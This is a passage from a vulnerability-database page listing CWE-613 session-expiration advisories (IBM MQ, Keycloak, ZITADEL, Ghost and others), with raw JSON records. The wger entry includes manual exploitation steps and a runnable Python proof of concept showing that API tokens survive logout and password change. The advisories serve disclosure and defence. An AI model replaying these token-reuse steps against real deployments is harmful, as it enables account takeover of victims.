Common Weakness Enumeration

CWE-613

Allowed-with-Review

Insufficient Session Expiration

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

1078 vulnerabilities reference this CWE, most recent first.

GHSA-RX2F-PJ28-88G5

Vulnerability from github – Published: 2022-11-04 12:00 – Updated: 2022-11-04 19:01
VLAI
Details

"IBM MQ Appliance 9.2 CD, 9.2 LTS, 9.3 CD, and LTS 9.3 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 235532."

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-40230"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-03T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "\"IBM MQ Appliance 9.2 CD, 9.2 LTS, 9.3 CD, and LTS 9.3 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 235532.\"",
  "id": "GHSA-rx2f-pj28-88g5",
  "modified": "2022-11-04T19:01:11Z",
  "published": "2022-11-04T12:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40230"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6622051"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RX9C-4X6J-XM83

Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-05-26 00:01
VLAI
Details

A remote authorization bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-23669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-17T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A remote authorization bypass vulnerability was discovered in Aruba ClearPass Policy Manager version(s): 6.10.4 and below, 6.9.9 and below, 6.8.9-HF2 and below, 6.7.x and below. Aruba has released updates to ClearPass Policy Manager that address this security vulnerability.",
  "id": "GHSA-rx9c-4x6j-xm83",
  "modified": "2022-05-26T00:01:11Z",
  "published": "2022-05-18T00:00:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23669"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-007.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2X8-2RV7-79J3

Vulnerability from github – Published: 2022-05-24 19:16 – Updated: 2022-05-24 19:16
VLAI
Details

The IceHrm 30.0.0 OS website was found vulnerable to Session Management Issue. A signout from an admin account does not invalidate an admin session that is opened in a different browser.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-38823"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-04T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The IceHrm 30.0.0 OS website was found vulnerable to Session Management Issue. A signout from an admin account does not invalidate an admin session that is opened in a different browser.",
  "id": "GHSA-v2x8-2rv7-79j3",
  "modified": "2022-05-24T19:16:29Z",
  "published": "2022-05-24T19:16:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38823"
    },
    {
      "type": "WEB",
      "url": "https://www.navidkagalwalla.com/icehrm-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V3X9-6GG8-C2C9

Vulnerability from github – Published: 2026-10-07 13:59 – Updated: 2026-10-07 13:59
VLAI
Summary
wger: API credentials remain valid after logout/password change
Details

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: - Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens. - Password change updates the password hash, but does not revoke: - existing DRF tokens stored in authtoken_token - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
  3. POST /api/v2/token with username/password.
  4. Obtain a DRF token (API key):
  5. use /user/api-key (or create token via admin/DB in a test environment).
  6. Change password:
  7. POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  8. Prove token replay:
  9. Call a private endpoint using the old DRF token (should still return 200).
  10. Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access. - Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used). - Integrity: attacker can perform any API mutations permitted to the victim’s account.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T13:59:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA vulnerability exists in the authentication/session lifecycle of `wger` where **bearer-style API credentials** remain valid **after a user logs out and after a user changes their password**. An attacker who steals a victim\u2019s **DRF authtoken** (`Authorization: Token ...`) or **JWT refresh token** can continue to access protected `/api/v2/*` endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).\nlifecycle events do not revoke these credentials:\n- **Logout** (`/user/logout`) only clears the Django session cookie via `django_logout()` and does not revoke API tokens.\n- **Password change** updates the password hash, but does not revoke:\n  - existing DRF tokens stored in `authtoken_token`\n  - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.\n\n\n#### Vulnerable Files\n\n- `wger/wger/core/views/user.py` (logout implementation)\n- `wger/settings/settings_global.py` (DRF auth configuration, SimpleJWT defaults)\n- `wger/settings/main.py` (commonly used production defaults for JWT lifetimes)\n- `wger/wger/utils/api_token.py` (authtoken rotation is manual only)\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account.\n2. Obtain a JWT refresh token:\n   - `POST /api/v2/token` with username/password.\n3. Obtain a DRF token (API key):\n   - use `/user/api-key` (or create token via admin/DB in a test environment).\n4. Change password:\n   - `POST /\u003clang\u003e/user/password/change` with `old_password`, `new_password1`, `new_password2`.\n5. Prove token replay:\n   - Call a private endpoint using the *old* DRF token (should still return `200`).\n   - Call `POST /api/v2/token/refresh` using the *old* refresh token (should still return `200` and a new access token).\n\n#### Automation PoC (Python)\n\nCopy/paste runnable PoC (Django in-process test client; no dev server required):\n\n```python\nimport json\nimport os\n\n\ndef main() -\u003e None:\n    \"\"\"\n    PoC for IDENTITY-VULN-01:\n    Proves that password change does not revoke:\n      - DRF authtoken (Authorization: Token \u003ckey\u003e)\n      - JWT refresh tokens (still mint access tokens)\n\n    This PoC runs entirely in-process using Django\u0027s test client + DRF APIClient.\n    It does not require running the dev server.\n    \"\"\"\n\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"settings.main\")\n    # Ensure we use the local sqlite DB path used during setup\n    os.environ.setdefault(\"DJANGO_DB_DATABASE\", \"db.sqlite3\")\n    os.environ.setdefault(\"DJANGO_MEDIA_ROOT\", \"media\")\n\n    import django\n\n    django.setup()\n\n    from django.conf import settings\n    from django.contrib.auth.models import User\n    from django.test import Client\n    from rest_framework.authtoken.models import Token\n    from rest_framework.test import APIClient\n\n    username = \"pwchange_user_poc\"\n    old_pw = \"OldPassw0rd!\"\n    new_pw = \"NewPassw0rd!\"\n\n    # Create a clean user + DRF token\n    User.objects.filter(username=username).delete()\n    user = User.objects.create_user(username=username, password=old_pw)\n    Token.objects.filter(user=user).delete()\n    drf_token = Token.objects.create(user=user).key\n\n    api = APIClient()\n\n    # Obtain JWT tokens with old password (proof baseline)\n    r_obtain = api.post(\"/api/v2/token\", {\"username\": username, \"password\": old_pw}, format=\"json\")\n    refresh = getattr(r_obtain, \"data\", {}).get(\"refresh\")\n\n    # Change password through the actual password change endpoint\n    web = Client()\n    web.force_login(user)\n    r_pw = web.post(\n        \"/en/user/password/change\",\n        data={\"old_password\": old_pw, \"new_password1\": new_pw, \"new_password2\": new_pw},\n        follow=False,\n    )\n\n    # Old password should fail now (sanity check)\n    r_obtain_old = api.post(\n        \"/api/v2/token\",\n        {\"username\": username, \"password\": old_pw},\n        format=\"json\",\n    )\n\n    # New password should work\n    r_obtain_new = api.post(\n        \"/api/v2/token\",\n        {\"username\": username, \"password\": new_pw},\n        format=\"json\",\n    )\n\n    # DRF token remains valid (private endpoint still accessible)\n    api.credentials(HTTP_AUTHORIZATION=f\"Token {drf_token}\")\n    r_drf = api.get(\"/api/v2/weightentry/\")\n\n    # Old refresh remains valid (still mints a new access token)\n    api.credentials()\n    r_refresh = api.post(\"/api/v2/token/refresh\", {\"refresh\": refresh}, format=\"json\")\n\n    out = {\n        \"jwt_refresh_lifetime_seconds\": int(settings.SIMPLE_JWT[\"REFRESH_TOKEN_LIFETIME\"].total_seconds()),\n        \"jwt_access_lifetime_seconds\": int(settings.SIMPLE_JWT[\"ACCESS_TOKEN_LIFETIME\"].total_seconds()),\n        \"jwt_obtain_oldpw_before_change\": r_obtain.status_code,\n        \"password_change_status\": r_pw.status_code,\n        \"jwt_obtain_oldpw_after_change\": r_obtain_old.status_code,\n        \"jwt_obtain_newpw_after_change\": r_obtain_new.status_code,\n        \"drf_token_private_api_after_change\": r_drf.status_code,\n        \"jwt_refresh_with_old_refresh_after_change\": r_refresh.status_code,\n        \"jwt_refresh_response_keys\": sorted(list(getattr(r_refresh, \"data\", {}).keys())),\n    }\n\n    print(json.dumps(out, indent=2))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nExpected output (example from a successful run):\n\n```json\n{\n  \"jwt_refresh_lifetime_seconds\": 86400,\n  \"jwt_access_lifetime_seconds\": 900,\n  \"jwt_obtain_oldpw_before_change\": 200,\n  \"password_change_status\": 302,\n  \"jwt_obtain_oldpw_after_change\": 401,\n  \"jwt_obtain_newpw_after_change\": 200,\n  \"drf_token_private_api_after_change\": 200,\n  \"jwt_refresh_with_old_refresh_after_change\": 200,\n  \"jwt_refresh_response_keys\": [\n    \"access\"\n  ]\n}\n```\n\n### Impact\nA user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker\u0027s copy of the token remains fully valid.\nIf an attacker obtains a victim\u2019s API credential once, the victim\u2019s primary remediation actions (**logout** and **password change**) do not terminate attacker access.\n- **Confidentiality:** attacker retains access to victim\u2019s private API data (depends on endpoints used).\n- **Integrity:** attacker can perform any API mutations permitted to the victim\u2019s account.",
  "id": "GHSA-v3x9-6gg8-c2c9",
  "modified": "2026-10-07T13:59:11Z",
  "published": "2026-10-07T13:59:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-v3x9-6gg8-c2c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/releases/tag/2.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: API credentials remain valid after logout/password change"
}

GHSA-V42H-J35F-R8X9

Vulnerability from github – Published: 2022-05-24 17:32 – Updated: 2022-05-24 17:32
VLAI
Details

CyberArk Privileged Session Manager (PSM) 10.9.0.15 allows attackers to discover internal pathnames by reading an error popup message after two hours of idle time.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-25374"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-28T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "CyberArk Privileged Session Manager (PSM) 10.9.0.15 allows attackers to discover internal pathnames by reading an error popup message after two hours of idle time.",
  "id": "GHSA-v42h-j35f-r8x9",
  "modified": "2022-05-24T17:32:32Z",
  "published": "2022-05-24T17:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25374"
    },
    {
      "type": "WEB",
      "url": "https://docs.cyberark.com/Product-Doc/OnlineHelp/PAS/Latest/en/Content/PAS%20SysReq/System%20Requirements%20-%20PSM.htm"
    },
    {
      "type": "WEB",
      "url": "https://medium.com/@virajmota38/full-path-disclosure-8a9358e5a867"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V5G5-WWMP-JPPW

Vulnerability from github – Published: 2026-05-28 06:31 – Updated: 2026-07-01 21:27
VLAI
Summary
Keycloak has Insufficient Session Expiration
Details

A flaw was found in Keycloak. When revokeRefreshToken=true is enabled and persistent session storage is in use, a server restart can reset internal timing mechanisms. This allows a remote attacker, who has previously captured a user's refresh token, to replay that token even after it has been revoked. Successful exploitation grants the attacker unauthorized access to the victim's account, potentially leading to information disclosure or privilege escalation.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.4.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "26.5.0"
            },
            {
              "fixed": "26.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-9802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T21:27:04Z",
    "nvd_published_at": "2026-05-28T06:16:29Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in Keycloak. When revokeRefreshToken=true is enabled and persistent session storage is in use, a server restart can reset internal timing mechanisms. This allows a remote attacker, who has previously captured a user\u0027s refresh token, to replay that token even after it has been revoked. Successful exploitation grants the attacker unauthorized access to the victim\u0027s account, potentially leading to information disclosure or privilege escalation.",
  "id": "GHSA-v5g5-wwmp-jppw",
  "modified": "2026-07-01T21:27:04Z",
  "published": "2026-05-28T06:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/issues/49426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/pull/49542"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/pull/49619"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/pull/49620"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/commit/165df48d3f0f42ede8e6082184892ca7cc703989"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/commit/3451217e3837ce5e8bbcac2773f0ac44830b95f1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/commit/3fde018b98e2729a594a3ac7fc730fde31da2f07"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25097"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:25098"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30049"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:30050"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-9802"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482467"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Keycloak has Insufficient Session Expiration"
}

GHSA-V77H-2W3M-94HX

Vulnerability from github – Published: 2026-09-11 21:32 – Updated: 2026-09-11 21:32
VLAI
Summary
ZITADEL: Missing Token Expiration (`exp`) Validation in JWT IdP Provider
Details

Summary

A token lifecycle validation vulnerability was discovered in ZITADEL's external JWT Identity Provider (IdP) implementation Specifically, within the validation pipeline, if an incoming JWT omits the exp claim entirely, the expiration block is silently skipped rather than rejected. The token is treated as valid forever.

Per the OIDC Core 1.0 specification, identity token validation pipelines must strictly handle and enforce session expiration. ZITADEL's silent acceptance of tokens missing these temporal constraints compromises session integrity.

Impact

An attacker in possession of a token lacking an exp claim holds a permanent credential with no automatic expiration or revocation window.

Affected Versions

Systems running one of the following versions are affected:

  • 4.x: 4.0.0 through 4.15.1 (including RC versions)
  • 3.x: 3.0.0 through 3.4.11 (including RC versions)

Patches

The vulnerability has been addressed in the latest releases. ZITADEL now explicitly rejects tokens that lack an exp claim.

Workarounds

The recommended solution is to update ZITADEL to a patched version.

If an immediate upgrade is not feasible, ensure at the upstream Identity Provider level that an external IdP explicitly includes the exp claim in all signed JWTs.

Publication Note

This issue was originally disclosed as part of a unified security bulletin published under GHSA-wxg7-w2v3-w38g. To satisfy CVE Numbering Authority regulations regarding independently fixable logic flaws, the missing token expiration validation (exp) has been moved into this separate tracking entry so a distinct CVE ID can be correctly mapped to it.

Questions

If there are any questions or comments about this advisory, send an email to security@zitadel.com

Credits

ZITADEL thanks Android-Login-Analysis, Jason Zhou and Pedro Giglioti for reporting this vulnerability.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-rc.1"
            },
            {
              "fixed": "4.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/zitadel/zitadel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-56665"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T21:32:14Z",
    "nvd_published_at": "2026-07-10T18:16:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA token lifecycle validation vulnerability was discovered in ZITADEL\u0027s external JWT Identity Provider (IdP) implementation\nSpecifically, within the validation pipeline, if an incoming JWT omits the `exp` claim entirely, the expiration block is silently skipped rather than rejected. The token is treated as valid forever.\n\nPer the OIDC Core 1.0 specification, identity token validation pipelines must strictly handle and enforce session expiration. ZITADEL\u0027s silent acceptance of tokens missing these temporal constraints compromises session integrity.\n\n### Impact\n\nAn attacker in possession of a token lacking an `exp` claim holds a permanent credential with no automatic expiration or revocation window.\n\n### Affected Versions\n\nSystems running one of the following versions are affected:\n\n* **4.x**: `4.0.0` through `4.15.1` (including RC versions)\n* **3.x**: `3.0.0` through `3.4.11` (including RC versions)\n\n### Patches\n\nThe vulnerability has been addressed in the latest releases. ZITADEL now explicitly rejects tokens that lack an `exp` claim.\n\n* **4.x**: Upgrade to $\\ge$ [4.15.2](https://github.com/zitadel/zitadel/releases/tag/v4.15.2)\n* **3.x**: Upgrade to $\\ge$ [3.4.12](https://github.com/zitadel/zitadel/releases/tag/v3.4.12)\n\n### Workarounds\n\nThe recommended solution is to update ZITADEL to a patched version.\n\nIf an immediate upgrade is not feasible, ensure at the upstream Identity Provider level that an external IdP explicitly includes the `exp` claim in all signed JWTs.\n\n### Publication Note\n\nThis issue was originally disclosed as part of a unified security bulletin published under [GHSA-wxg7-w2v3-w38g](https://github.com/zitadel/zitadel/security/advisories/GHSA-wxg7-w2v3-w38g). To satisfy CVE Numbering Authority regulations regarding independently fixable logic flaws, the missing token expiration validation (`exp`) has been moved into this separate tracking entry so a distinct CVE ID can be correctly mapped to it.\n\n### Questions\n\nIf there are any questions or comments about this advisory, send an email to [security@zitadel.com](mailto:security@zitadel.com)\n\n### Credits\n\nZITADEL thanks [Android-Login-Analysis](https://github.com/Android-Login-Analysis), Jason Zhou and [Pedro Giglioti](https://github.com/Punisher100) for reporting this vulnerability.",
  "id": "GHSA-v77h-2w3m-94hx",
  "modified": "2026-09-11T21:32:14Z",
  "published": "2026-09-11T21:32:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-v77h-2w3m-94hx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56665"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/commit/4925fab849d39a88674485d937b79e54318b48a8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/commit/d1c3aa84af8fcb0f33910ada30b866f4afb551ac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zitadel/zitadel"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v3.4.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zitadel/zitadel/releases/tag/v4.15.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ZITADEL: Missing Token Expiration (`exp`) Validation in JWT IdP Provider"
}

GHSA-V7J8-QGF8-RF5G

Vulnerability from github – Published: 2025-07-31 00:31 – Updated: 2025-07-31 00:31
VLAI
Details

IBM Aspera Faspex 5.0.0 through 5.0.12.1 could allow an authenticated user to perform unauthorized actions due to client-side enforcement of sever side security mechanisms.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-36040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-31T00:15:26Z",
    "severity": "MODERATE"
  },
  "details": "IBM Aspera Faspex 5.0.0 through 5.0.12.1 could allow an authenticated user to perform unauthorized actions due to client-side enforcement of sever side security mechanisms.",
  "id": "GHSA-v7j8-qgf8-rf5g",
  "modified": "2025-07-31T00:31:06Z",
  "published": "2025-07-31T00:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36040"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7241007"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V827-452P-MH2J

Vulnerability from github – Published: 2026-10-01 12:31 – Updated: 2026-10-01 12:31
VLAI
Details

Ghost versions from 3.10.0 before 6.34.0 fail to fully invalidate all sessions after a password change. Attackers with a stolen session cookie can maintain access to user accounts even after the associated user changes their password.

Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
7.6 (High)
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-103279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T11:17:23Z",
    "severity": "HIGH"
  },
  "details": "Ghost versions from 3.10.0 before 6.34.0 fail to fully invalidate all sessions after a password change. Attackers with a stolen session cookie can maintain access to user accounts even after the associated user changes their password.",
  "id": "GHSA-v827-452p-mh2j",
  "modified": "2026-10-01T12:31:18Z",
  "published": "2026-10-01T12:31:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-v9vj-6fq5-99xj"
    },
    {
      "type": "ADVISORY",
